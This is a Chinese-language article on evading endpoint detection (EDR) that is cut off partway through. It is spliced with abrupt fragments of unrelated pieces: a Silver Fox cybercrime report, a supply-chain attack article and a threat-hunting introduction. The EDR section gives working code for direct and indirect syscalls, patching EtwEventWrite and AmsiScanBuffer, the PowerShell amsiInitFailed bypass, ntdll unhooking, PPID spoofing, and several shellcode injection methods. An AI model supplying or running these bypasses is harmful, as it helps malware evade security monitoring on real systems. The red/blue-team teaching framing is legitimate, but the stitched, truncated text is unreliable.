本文从应用层、内核层、静态、动态四大维度，系统剖析 EDR 终端对抗技术的原理、实现与检测策略，为红蓝双方提供全面的技术参考。

目录

• 一、EDR 监控体系全景

• 二、应用层对抗技术

• 三、内核层对抗技术

• 四、静态对抗技术

• 五、动态对抗技术

• 六、对抗技术全景矩阵

• 七、组合对抗战术与实战链路

• 八、蓝队检测与防御策略

• 九、实战工具与资源

• 十、技术演进趋势与展望

• 附录

一、EDR 监控体系全景

1.1 EDR 监控架构总览

现代 EDR 产品采用多层次、全维度的监控体系，从用户态到内核态形成完整的检测闭环：

1.2 内核回调机制

EDR 通过注册 Windows 内核回调来获取系统事件通知，这是 EDR 最基础也最关键的监控手段：

回调类型	注册函数	监控内容	数据结构	对应 SSRM
进程创建	PsSetCreateProcessNotifyRoutineEx	新进程启动/退出	PS_CREATE_NOTIFY_INFO	PsCreateProcess
线程创建	PsSetCreateThreadNotifyRoutine	新线程创建	Thread ID + Process ID	PsCreateThread
镜像加载	PsSetLoadImageNotifyRoutine	DLL/EXE 映像加载	IMAGE_INFO_EX	PsLoadImage
文件操作	FltRegisterCallback	文件读写删除重命名	FLT_CALLBACK_DATA	Mini-filter
注册表操作	CmRegisterCallback	注册表键值增删改查	REG_CALLBACK_CONTEXT	CmRegister
对象管理	ObRegisterCallbacks	句柄操作(打开/复制)	OB_CALLBACK_CONTEXT	ObRegister

回调函数存储结构： 回调以指针数组形式存储在内核中（如 PspCreateProcessNotifyRoutine[]），每个元素编码了回调函数地址和启用状态（最低2位为标志位：bit0=启用，bit1=是否Ex版本），实际地址 = entry & ~3。

对抗思路：这些回调函数地址存储在内核内存中，理论上可以被定位并修改。但现代 EDR 会保护这些回调表，直接修改会触发 PatchGuard (KPP)。

1.3 ETW（Event Tracing for Windows）

ETW 是 Windows 内置的事件追踪系统，EDR 通过订阅特定 Provider 获取细粒度事件：

Provider GUID	Provider 名称	监控内容	事件级别
{F4A2C69D-12A7-4D73-B8F1-8F2B5E3F8D3A}	Microsoft-Windows-Threat-Intelligence	内核行为（进程/线程/镜像加载）	Critical
{22FB2CD6-0E7B-422B-A0C7-2F8DF4794EE0}	Microsoft-Windows-Kernel-Process	进程生命周期事件	Information
{7B921740-4380-44E6-9DE6-3F4E62D1E3A0}	Microsoft-Windows-Kernel-ImageLoad	模块加载事件	Information
{E7EF15BE-2D2B-419B-9E4A-5ED9C3E08D3A}	Microsoft-Windows-DotNETRuntime	.NET 运行时事件	Information
{647B8910-39A0-4CA7-8570-2E04D2B32E7A}	Microsoft-Antimalware-Scan-Interface	AMSI 扫描结果	Verbose

ETW 数据流架构：

对抗思路：ETW 事件在用户态通过 EtwEventWrite 发出，可以在此函数上下钩子或打补丁阻止事件上报；在内核态则可修改 ETW Provider 的启用标志位。

1.4 用户态 API 钩子（User-land Hooking）

EDR 在关键 API 入口处插入跳转指令（通常为 JMP 或 CALL），将执行流重定向到检测代码：

正常调用链:
┌─────────────────┐    ┌───────────────────────┐    ┌──────────┐
│ kernel32.dll    │───▶│ ntdll.dll             │───▶│ 内核     │
│ CreateProcessA │    │ NtCreateUserProcess   │    │ (syscall)│
└─────────────────┘    └───────────────────────┘    └──────────┘
被 Hook 后:
┌─────────────────┐    ┌──────────┐    ┌───────────────────────┐    ┌──────────┐
│ kernel32.dll    │───▶│ EDR 检测 │───▶│ ntdll.dll             │───▶│ 内核     │
│ CreateProcessA │    │  代码    │    │ NtCreateUserProcess   │    │ (syscall)│
└─────────────────┘    └──────────┘    └───────────────────────┘    └──────────┘

Hook 实现原理（Inline Hook / Trampoline Hook）：

// EDR Hook 典型实现 - 修改ntdll函数入口
// 原始字节: 4C 8B D1 B8 XX 00 00 00  (mov r10, rcx; mov eax, syscall_num)
// Hook后:   JMP [EDR_Handler]         (5字节跳转或14字节绝对跳转)
// 32位相对跳转 (5字节, 覆盖mov r10,rcx + mov eax,SSN前5字节)
E9 XX XX XX XX    // JMP rel32
// 64位绝对跳转 (14字节, 避免跳转范围限制, 覆盖前14字节)
FF 2500000000// JMP [rip+0]
XX XX XX XX XX XX XX XX  // 绝对地址(8字节)
// EDR Hook后的ntdll!NtWriteVirtualMemory内存布局示例:
// 偏移  字节                    含义
// 0x00  E9 3A 12 00 00         JMP rel32 → EDR Handler (被Hook)
// 0x05  90 90 90 90 90         NOP填充 (原字节被覆盖)
// 0x0A  ...                    函数剩余部分

主流 EDR Hook 覆盖范围：

EDR 产品	Hook 层级	Hook 范围	自保护机制	Unhook难度
CrowdStrike Falcon	ntdll + kernel32	进程/线程/内存/文件/注册表	驱动保护+回调校验+ETW TI	★★★★★
Microsoft Defender	ntdll	进程/内存/文件/AMSI	ELAM+云协同+MPMinDriver	★★★☆☆
SentinelOne	ntdll + win32k	进程/线程/内存/注册表	内核回调+ETW+行为模型	★★★★☆
Carbon Black	ntdll	进程/文件/网络	驱动保护+云分析	★★★☆☆
Elastic EDR	ntdll	进程/文件/网络	eBPF(Linux)/ETW(Windows)	★★☆☆☆
Cortex XDR	ntdll + kernel32	进程/线程/内存/文件/注册表	内核回调+cyvrmtck驱动	★★★★★
Trellix (McAfee)	ntdll	进程/内存/文件	mfefirek驱动+AMSI	★★★☆☆

二、应用层对抗技术

应用层对抗技术主要针对 EDR 在用户态部署的监控机制（API Hook、ETW 用户态上报、AMSI 扫描等），通过绕过、移除或欺骗这些监控点来规避检测。

2.1 直接系统调用（Direct Syscall）

原理：不经过被 Hook 的 ntdll.dll 导出函数，直接在代码中内联 syscall 指令进入内核，完全绕过用户态 Hook。

实现方式一：内联汇编（硬编码 SSN）

; NtAllocateVirtualMemory (SSN = 0x18 on Win10 21H2)
NtAllocateVirtualMemory:
    mov r10, rcx          ; x64调用约定: syscall需r10
    mov eax, 18h          ; 系统调用号
    syscall               ; 进入内核
    ret

局限：SSN 随 Windows 版本更新而变化，硬编码导致跨版本兼容性问题。

实现方式二：Hell's Gate — 动态 SSN 提取

从内存中被 Hook 的 ntdll 中提取 syscall 号（Hook 通常保留 mov eax, SSN 指令）：

BOOL ExtractSyscallNumber(PVOID pFunctionAddress, UINT32* pSyscallNumber){
    BYTE* pBytes = (BYTE*)pFunctionAddress;
// 被Hook的ntdll入口: mov r10,rcx (4C 8B D1) + mov eax,SSN (B8 XX XX XX XX)
if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1 && pBytes[3] == 0xB8) {
        *pSyscallNumber = *(UINT32*)(pBytes + 4);
return TRUE;
    }
return FALSE;
}

实现方式三：Tartarus' Gate — 从磁盘映射干净的 ntdll.dll 解析 SSN，解决 Hell's Gate 在 Hook 覆盖了 mov eax 指令时失败的问题。

实现方式四：SysWhispers3 — 自动化 Syscall 代码生成（python syswhispers3.py -f NtAllocateVirtualMemory -o output），自动适配不同 Windows 版本，支持 Direct/Indirect 两种模式。

对抗效果对比：

技术方案	SSN获取方式	绕过Hook	跨版本兼容	实现复杂度	调用栈合法性	EDR检测风险
硬编码SSN	静态写死	✅	❌	★☆☆☆☆	❌ (RIP在未知内存)	ETW TI+栈回溯
Hell's Gate	内存解析被Hook的ntdll	✅	✅	★★★☆☆	❌ (RIP在未知内存)	ETW TI+栈回溯
Tartarus' Gate	磁盘映射干净ntdll	✅	✅	★★★★☆	❌ (RIP在未知内存)	ETW TI+栈回溯
SysWhispers3	编译时生成	✅	✅	★★☆☆☆	❌ (RIP在未知内存)	ETW TI+栈回溯
Halo's Gate	跳过Hook扫描相邻SSN	✅	✅	★★★☆☆	❌ (RIP在未知内存)	ETW TI+栈回溯

2.2 间接系统调用（Indirect Syscall）

原理：跳转到 ntdll.dll 中原始 syscall; ret 指令的位置执行系统调用，返回地址指向 ntdll.dll 内部而非未知内存区域，使调用栈看起来合法。

Direct Syscall 调用栈:
  攻击代码区域 ◄── 返回地址指向未知内存 (EDR可检测)
Indirect Syscall 调用栈:
  攻击代码区域 ──▶ ntdll.dll!syscall;ret ◄── 返回地址指向ntdll (看起来合法)

代码实现：

// 1. 在ntdll中定位原始syscall指令地址 (扫描0F 05 C3序列)
PVOID FindSyscallInstruction(PVOID pNtFunction){
    BYTE* ptr = (BYTE*)pNtFunction;
for (int i = 0; i < 0x20; i++) {
if (ptr[i] == 0x0F && ptr[i+1] == 0x05 && ptr[i+2] == 0xC3)
return (PVOID)(ptr + i);
    }
returnNULL;
}
// 2. 设置SSN后JMP到ntdll!syscall;ret (非直接执行syscall)

Direct vs Indirect Syscall 对比：

对比维度	Direct Syscall	Indirect Syscall
syscall执行位置	攻击代码自身（未知内存区域）	ntdll.dll 内部（合法地址范围）
返回地址(RIP)	指向未知内存 → EDR栈回溯可标记	指向ntdll.dll → 调用栈看起来合法
ETW TI Provider	可检测syscall来源不在ntdll	syscall来源在ntdll范围内
调用栈回溯	立即暴露（RIP ∉ 已知模块）	需深度分析才能识别
实现复杂度	较低（仅需SSN+syscall指令）	中等（需定位ntdll中syscall指令地址）
兼容性	高（任何Windows版本）	中（需扫描ntdll找到syscall;ret序列）
绕过Hook能力	✅ 完全绕过用户态Hook	✅ 完全绕过用户态Hook
代表工具	SysWhispers3, Hell's Gate	SysWhispers2/3 (indirect模式)

2.3 ETW 补丁技术

2.3.1 用户态 ETW 补丁

定位 ntdll.dll 中的 EtwEventWrite 函数，修改其开头字节使其直接返回：

// 将EtwEventWrite修改为 xor eax,eax; ret (返回STATUS_SUCCESS)
// 比直接写ret(0xC3)更隐蔽, 调用者不会因返回值异常而报错
BOOL PatchEtwReturnSuccess(){
    FARPROC pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
    DWORD oldProtect;
    VirtualProtect(pFunc, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
    BYTE patch[] = { 0x31, 0xC0, 0xC3 };  // xor eax,eax; ret
memcpy(pFunc, patch, sizeof(patch));
    VirtualProtect(pFunc, 3, oldProtect, &oldProtect);
return TRUE;
}

2.3.2 内核态 ETW 禁用

通过 NtTraceControl 系统调用禁用特定 ETW Provider，比用户态 patch 更底层且不易被检测。需要管理员权限，可系统级禁用 Threat-Intelligence 等关键 Provider。

ETW 对抗方案对比：

方案	作用层级	覆盖范围	隐蔽性	持久性	风险
用户态ret patch	用户态	仅当前进程	★★☆☆☆	进程生命周期	EDR可检测patch行为
用户态return SUCCESS	用户态	仅当前进程	★★★☆☆	进程生命周期	较隐蔽, 但仍可被unhook检测
NtTraceControl禁用	内核交互	系统级	★★★★☆	需要持续保持	需要管理员权限
内核ETW Provider标志修改	内核态	系统级	★★★★★	持久(直到重启)	需要驱动, 触发PatchGuard风险

2.4 AMSI 绕过

AMSI (Antimalware Scan Interface) 是 Windows 提供的脚本内容扫描接口，EDR 通过 AMSI 扫描 PowerShell/VBScript/JScript 等脚本内容。

2.4.1 AMSI 架构

脚本引擎 ──▶ AmsiScanBuffer() ──▶ AMSI Provider (EDR注册) ──▶ 扫描结果
   │                                      │
   │  AmsiInitialize()                    │  检测到恶意内容
   │                                      ▼
   └──────────────────────────── 返回 AMI_RESULT_DETECTED

2.4.2 常见绕过方法

方法一：修改 amsiInitFailed 标志（PowerShell）

# 强制AMSI认为初始化失败, 后续所有扫描将被跳过
$ref = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*Utils" }
$amsi = $ref.GetField('amsiInitFailed', 'NonPublic,Static')
$amsi.SetValue($null, $true)
# 之后所有PowerShell脚本将不再经过AMSI扫描

方法二：AmsiScanBuffer 内存补丁

// 直接修改amsi.dll!AmsiScanBuffer入口, 始终返回AMSI_RESULT_CLEAN
BOOL PatchAmsiScanBuffer(){
    HMODULE hAmsi = GetModuleHandleA("amsi.dll");
    FARPROC pScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    DWORD oldProtect;
    VirtualProtect(pScanBuffer, 9, PAGE_EXECUTE_READWRITE, &oldProtect);
    BYTE patch[] = {
0x31, 0xC0,                      // xor eax,eax (return S_OK)
0xC6, 0x44, 0x24, 0x28, 0x00,   // mov byte [rsp+0x28], 0 (result=CLEAN)
0xC2, 0x18, 0x00// ret 18h
    };
memcpy(pScanBuffer, patch, sizeof(patch));
    VirtualProtect(pScanBuffer, 9, oldProtect, &oldProtect);
return TRUE;
}

方法三：模糊化绕过 — 不修改 AMSI，通过自定义编码（XOR/ROT/Base64+分段）规避字符串特征匹配，最隐蔽但需额外解码逻辑。

AMSI 绕过方案对比：

方案	原理	检测难度	副作用	版本兼容性
amsiInitFailed标志	修改.NET内部标志	★★☆☆☆	仅影响PowerShell	Win10+
Hook AmsiScanBuffer	IAT Hook替换	★★★☆☆	影响全进程AMSI调用	全版本
AmsiScanBuffer patch	直接修改入口字节	★★★★☆	影响全进程	全版本
模糊化/编码	不修改AMSI，规避特征	★★★★★	无	全版本
CLR Hook	修改CLR内部调用	★★★★☆	仅影响.NET	.NET 4.x

2.5 Unhooking（解除 API Hook）

2.5.1 从磁盘重新映射 ntdll.dll

// 最常用的unhooking方法: 用磁盘上干净的ntdll覆盖内存中被Hook的ntdll
BOOL UnhookNtdll(){
// 1. 从磁盘读取干净的ntdll.dll
    HANDLE hFile = CreateFileA(
"\\??\\C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, 0, NULL
    );
    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// 2. 获取内存中当前ntdll的基地址
    PVOID pHookedNtdll = GetModuleHandleA("ntdll.dll");
// 3. 解析PE头, 找到.text段
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(
        (BYTE*)pCleanNtdll + ((PIMAGE_DOS_HEADER)pCleanNtdll)->e_lfanew
    );
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection[i].Name, ".text") == 0) {
// 4. 将干净的.text段覆盖到内存中
            DWORD oldProtect;
            PVOID pTarget = (BYTE*)pHookedNtdll + pSection[i].VirtualAddress;
            PVOID pSource = (BYTE*)pCleanNtdll + pSection[i].VirtualAddress;
            SIZE_T size = pSection[i].Misc.VirtualSize;
            VirtualProtect(pTarget, size, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pTarget, pSource, size);
            VirtualProtect(pTarget, size, oldProtect, &oldProtect);
break;
        }
    }
    UnmapViewOfFile(pCleanNtdll);
    CloseHandle(hMapping);
    CloseHandle(hFile);
return TRUE;
}

2.5.2 从 KnownDlls 获取干净 ntdll

通过 \KnownDlls\ntdll 段对象获取干净的 ntdll 副本，优点是不需要磁盘 IO，更隐蔽。使用 NtOpenSection + NtMapViewOfSection 映射后，同样覆盖 .text 段即可恢复原始字节。

2.6 父进程 ID 欺骗（PPID Spoofing）

让恶意进程看起来是由合法进程（如 explorer.exe）启动的，伪装进程树：

// 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性伪造父进程
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(pAttrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                         &hParent, sizeof(hParent), NULL, NULL);
STARTUPINFOEXA si = { 0 };
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.lpAttributeList = pAttrList;
CreateProcessA(NULL, exePath, NULL, NULL, FALSE,
               CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL, &si.StartupInfo, &pi);

2.7 进程注入技术

2.7.1 经典远程线程注入（VirtualAllocEx + CreateRemoteThread）

这是最基础的进程注入方式，每个步骤都会被 EDR 的内核回调和用户态 Hook 完整记录：

// 经典远程线程注入完整实现
BOOL ClassicInjection(DWORD targetPid, PBYTE shellcode, SIZE_T shellcodeSize){
// Step 1: 打开目标进程
// [EDR检测点] OpenProcess会被ObRegisterCallbacks监控
// 若请求PROCESS_ALL_ACCESS权限, EDR可能直接拒绝或降权
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hProcess) return FALSE;
// Step 2: 在目标进程中分配内存
// [EDR检测点] VirtualAllocEx分配RWX内存会被立即标记
// EDR会记录: 基址、大小、属性(RWX极度可疑)
    PVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                       MEM_COMMIT | MEM_RESERVE,
                                       PAGE_EXECUTE_READWRITE);
if (!pRemoteBuf) return FALSE;
// Step 3: 写入shellcode
// [EDR检测点] WriteProcessMemory会被ntdll Hook记录
// EDR会记录: 源地址、目标地址、写入长度
// 且写入内容可能被复制到EDR缓冲区进行特征扫描
if (!WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcodeSize, NULL))
return FALSE;
// Step 4: 创建远程线程执行
// [EDR检测点] CreateRemoteThread是最强检测信号
// EDR会记录: 线程起始地址(非模块内)、创建者进程
// 线程起点不在任何已加载DLL内 → 立即标记为注入
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                         (LPTHREAD_START_ROUTINE)pRemoteBuf,
NULL, 0, NULL);
if (!hThread) return FALSE;
    WaitForSingleObject(hThread, INFINITE);
return TRUE;
}

EDR 检测链路分析：

执行步骤	触发的EDR监控	检测严重度	关联分析权重
OpenProcess(ALL_ACCESS)	ObRegisterCallbacks	中	句柄请求权限过高
VirtualAllocEx(RWX)	NtAllocateVirtualMemory Hook	高	RWX内存分配是强信号
WriteProcessMemory	NtWriteVirtualMemory Hook	高	跨进程内存写入
CreateRemoteThread	PsSetCreateThreadNotifyRoutine	极高	线程起点不在合法模块内

结论：经典注入的每一步都会被现代 EDR 完整记录并关联分析，四步操作形成完整的注入证据链，检出率接近 100%，仅适用于教学演示。

2.7.2 进程镂空（Process Hollowing）

// 进程镂空完整实现
// 优势: 进程树看起来完全正常, 父进程是合法的系统进程
// 1. 以挂起状态创建合法进程 (关键: STARTUPINFO必须匹配目标进程)
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// 2. 读取PEB获取进程映像基址
// [EDR检测点] NtQueryInformationProcess可能被Hook
PROCESS_BASIC_INFORMATION pbi = { 0 };
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PVOID baseAddress = (PVOID)pbi.PebBaseAddress->Reserved3[1]; // PEB.ImageBaseAddress
// 3. 取消原映像映射 (关键步骤, 使进程内存为空)
// [EDR检测点] NtUnmapViewOfSection是强信号, 合法程序极少调用
NtUnmapViewOfSection(pi.hProcess, baseAddress);
// 4. 在原基址分配内存并写入恶意PE
// [EDR检测点] VirtualAllocEx + WriteProcessMemory组合
PVOID pRemoteBase = VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,
                                    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteBase, payload, payloadSize, NULL);
// 5. 修复PE重定位表 (若加载地址与PE期望基址不同)
FixRelocations(pRemoteBase, payload, (ULONG_PTR)baseAddress);
// 6. 修改线程上下文入口点并恢复执行
// [EDR检测点] SetThreadContext修改RIP是强注入信号
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)((BYTE*)pRemoteBase + payloadEntryPoint); // 设置新的RIP
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

进程镂空 EDR 检测分析：

检测维度	检测方式	有效性	说明
内存映像不匹配	对比磁盘PE与内存映像哈希	★★★★★	映像被替换后哈希不匹配
NtUnmapViewOfSection	监控对合法映像的Unmap操作	★★★★☆	极少合法程序会Unmap自身映像
线程起点验证	检查主线程入口是否在映像范围内	★★★★★	入口点偏移与PE头不匹配
内存属性变更	监控RWX分配+SetContext组合	★★★★☆	操作序列构成注入模式

2.7.3 模块镂空（Module Stomping / DLL Hollowing）

将 Shellcode 写入远程进程中已加载 DLL 的代码段（.text section），不分配新内存区域，不会触发"未支持的内存"检测，内存扫描时该区域仍关联到合法 DLL 模块。

// 1. 在远程进程加载无害DLL (如version.dll) 作为宿主
// 2. 枚举远程进程模块, 定位宿主DLL基地址
HMODULE hRemoteDll = FindRemoteModule(hProcess, "version.dll");
// 3. 解析PE头定位.text段, 覆盖为shellcode
PIMAGE_SECTION_HEADER pTextSection = GetSectionHeader(hRemoteDll, ".text");
PVOID pRemoteText = (BYTE*)hRemoteDll + pTextSection->VirtualAddress;
// 4. 修改属性→写入→恢复属性
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemoteText, size, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProcess, pRemoteText, shellcode, size, NULL);
VirtualProtectEx(hProcess, pRemoteText, size, oldProtect, &oldProtect);

检测局限：不会产生 VirtualAllocEx 分配的"孤立内存"，但 EDR 可通过 DLL 内容完整性校验（对比磁盘与内存 .text 段哈希）检测到篡改。

2.7.4 线程劫持（Thread Hijacking）

挂起目标进程的现有线程，修改其执行上下文（RIP）来执行 shellcode。不调用 CreateRemoteThread，减少了一个强检测信号。

// 1. 在目标进程分配内存(RW)→写入shellcode→改属性(RX)
PVOID pRemote = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
VirtualProtectEx(hProcess, pRemote, size, PAGE_EXECUTE_READ, &oldProtect);
// 2. 枚举线程→挂起→修改RIP→恢复
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT, FALSE, threadId);
SuspendThread(hThread);
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

局限：SuspendThread + SetThreadContext 组合已被 EDR 视为可疑模式；线程恢复后 RIP 不在任何合法模块范围内。

进程注入技术对比：

注入方式	关键API	隐蔽性	检出率	EDR检测维度	适用场景
经典远程线程注入	CreateRemoteThread	★☆☆☆☆	★★★★★	全维度检出	教学演示(实战不用)
进程镂空	CreateProcess(SUSPENDED)+NtUnmap	★★★☆☆	★★★☆☆	内存映像校验	伪装合法进程
模块镂空	LoadLibrary+覆盖.text段	★★★★☆	★★☆☆☆	DLL完整性校验	不分配新内存
线程劫持	SuspendThread+SetContext	★★★☆☆	★★★☆☆	调用栈回溯	避免CreateRemoteThread
APC注入	QueueUserAPC	★★★☆☆	★★★☆☆	APC队列监控	线程注入替代
进程双写	NtWriteVirtualMemory×2	★★★★☆	★★☆☆☆	写入时序关联	绕过内存监控
回调执行	EnumWindows+Callback	★★★★★	★☆☆☆☆	回调来源验证	高级EDR对抗

2.8 应用层对抗技术总结

三、内核层对抗技术

内核层对抗直接在 Ring 0 层面操作，技术门槛更高但隐蔽性也更强，是高级 APT 组织和红队的核心对抗领域。

3.1 内核回调篡改

3.1.1 回调篡改原理

正常流程:
┌──────────┐     ┌──────────────┐     ┌──────────────┐     ┌──────────┐

给大家整理了一份银狐黑产组织详细分析报告，供大家参考阅读

目录

• 一、银狐黑产组织简介

• 二、银狐黑产组织攻击活动

• 三、银狐黑产组织攻击技术详解

• 四、银狐黑产组织盈利模式分析

• 五、银狐黑产组织发展趋势

• 六、MITRE ATT&CK 技术映射

• 七、相关IOC数据

• 附录

一、银狐黑产组织简介

1.1 组织背景

银狐（Silver Fox），又称银狐黑产组织、银狐木马团伙，是中国国内最为活跃、技术最为先进的黑色产业链组织之一。该组织以开发和运营"银狐木马"（Silver Fox Trojan）为核心，长期针对国内政企客户实施定向攻击，窃取敏感信息和资金。

核心特征：

维度	描述
组织性质	黑灰产犯罪组织（非国家级APT），以经济利益为首要驱动力
命名来源	因早期木马样本中存在"银狐"（Silver Fox）相关PDB路径字符串或代码特征而得名
别称	银狐、Silver Fox、银狐木马团伙
首次披露	2020-2021年间，微步在线、奇安信等多家安全厂商陆续披露
活跃时间	2020年至今持续活跃，攻击活动频繁度逐年递增
组织规模	推测为10-50人规模的黑产团伙
技术水平	高级（具备APT级免杀和EDR绕过能力）
攻击范围	初始以中国境内为主，现攻击目标扩展到全球多个国家
活跃状态	持续活跃，技术持续迭代演进

1.2 组织人员架构与分工

银狐组织具有明确的内部分工体系，各职能角色协作紧密：

人员特征推测：

• 核心开发者具有专业软件开发背景，熟悉Windows底层机制（PE结构、内存管理、系统调用）

• 免杀工程师对主流安全产品检测引擎有深入研究，持续跟踪安全厂商更新

• 社工组具备行业知识（财税、政务等），能制作高度逼真的钓鱼素材

• 组织采用松耦合、快迭代模式，各模块独立更新、快速替换

1.3 组织定位与能力评估

评估维度	等级	说明
代码开发能力	★★★★☆	具备自主木马开发能力，代码质量高，模块化设计
免杀对抗能力	★★★★★	APT级免杀体系，白加黑+Syscall+Unhooking组合拳
EDR绕过能力	★★★★★	Direct/Indirect Syscall、ETW/AMSI Patch、进程注入全栈
社工钓鱼能力	★★★★☆	高度定制化钓鱼内容，行业话术精准
基础设施运营	★★★★☆	C2快速轮换，CDN托管，DGA域名
自动化程度	★★★★☆	Builder工具链完善，一机一密动态生成
反溯源能力	★★★★☆	多层代理，基础设施快速废弃，地域限制执行

1.4 银狐木马技术演进概览

二、银狐黑产组织攻击活动

2.1 攻击目标行业

银狐组织的攻击具有明确的行业偏好，近年来不断扩展攻击面：

行业	攻击目的	攻击强度	近年趋势
财税/审计	窃取财务数据、税务信息、客户资料	★★★★★	持续高频，年度汇算清缴期为攻击高峰
政务/公共事业	窃取政务数据、公民信息	★★★★☆	政策通知类社工诱饵效果显著
金融	窃取资金账户、交易数据	★★★★☆	银行/券商/保险均涉及
电商/零售	窃取客户数据、交易信息	★★★☆☆	通过IM社工投递为主
教育/培训	窃取学生/家长信息	★★★☆☆	2023年后显著增加
医疗	窃取患者数据、医疗信息	★★★☆☆	近年新增攻击面
制造业	窃取商业机密、供应链信息	★★☆☆☆	供应链攻击切入
物流/快递	窃取物流数据、客户信息	★★☆☆☆	数据倒卖为主要目的

2.2 近年来攻击态势变化

2.2.1 攻击频率与规模变化

年份	攻击频次趋势	样本变种数量趋势	主要变化
2020	基线活跃	少量变种	首次披露，聚焦财税行业
2021	显著上升	数十变种	扩展至政务、IM投递，白加黑普及
2022	持续上升	百余变种	Syscall免杀引入，SEO投毒增加
2023	高频攻击	数百变种	全行业扩散，供应链投递出现
2024	爆发式增长	千余变种	EDR深度对抗，无文件攻击增多
2025	持续高位	持续增长	AI辅助攻击，自动化流水线

2.2.2 攻击手法演变趋势

2.2.3 免杀对抗态势变化

阶段	时间段	核心免杀手段	对抗效果
1.0时代	2020-2021H1	简单加壳、文件属性伪造、宏代码混淆	可被主流AV静态+动态检测
2.0时代	2021H2-2022H1	白加黑+DLL侧载成为标配	大幅绕过静态检测，白程序信誉利用
3.0时代	2022H2-2023H1	引入Direct Syscall+Shellcode多层加密	绕过EDR用户态Hook，动态检测难度增加
4.0时代	2023H2-2024	Indirect Syscall+ETW/AMSI Patch+Unhooking	APT级EDR绕过，行为监控被削弱
5.0时代	2024-2025	全栈无文件+Callback执行+AI辅助免杀	传统安全产品检测面临极大挑战

2.2.4 目标行业扩散趋势

一、引言

随着数字化转型的深入推进，软件系统已成为现代社会的核心基础设施，然而，软件供应链的复杂性和不透明性使其成为高级持续性威胁（APT）攻击者的重点目标。

近年来，SolarWinds、Log4j2、Codecov等重大供应链攻击事件频发，造成了前所未有的安全影响，促使业界重新审视软件供应链安全的重要性。

本文将从技术角度深度解析APT组织如何利用软件供应链实施攻击，分析典型攻击手法、技术原理及防御策略，为安全从业者提供系统性的参考。

二、软件供应链攻击概述

2.1 什么是软件供应链

软件供应链是指软件从开发、构建、分发到部署的全生命周期过程中涉及的所有组件、工具、流程和参与方，主要包括：

• 源代码：自主开发代码及第三方库

• 构建工具：编译器、打包工具、CI/CD系统

• 依赖组件：开源库、第三方包、模块

• 分发渠道：代码仓库、包管理器、更新服务器

• 开发环境：IDE、开发工具、测试框架

2.2 供应链攻击的特点

与传统攻击方式相比，软件供应链攻击具有以下显著特点：

特点	描述
信任链滥用	利用用户对供应商的信任，绕过安全检测
影响范围广	一次攻击可影响下游所有用户
隐蔽性强	恶意代码隐藏在合法软件中，难以发现
持久性好	攻击者可长期潜伏，持续窃取数据
溯源困难	攻击路径复杂，难以追踪攻击源头

2.3 APT组织青睐供应链攻击的原因

APT组织之所以将供应链作为重点攻击目标，主要基于以下考量：

1. 突破边界防护：传统安全防护侧重于网络边界，供应链攻击可从内部突破

2. 规模化攻击：一次入侵可影响成千上万的目标组织

3. 降低暴露风险：通过合法渠道分发，降低被检测概率

4. 长期价值：植入的后门可长期使用，持续获取情报

三、典型攻击技术手法

3.1 源代码投毒

3.1.1 攻击原理

攻击者通过入侵代码仓库或开发者账户，在源代码中植入恶意代码。由于代码来自可信源，下游用户在编译或使用时会自动执行恶意载荷。

3.1.2 技术实现方式

方式一：直接代码注入

# 原始代码

一、威胁狩猎

1.1 威胁狩猎概述

1.1.1 什么是威胁狩猎

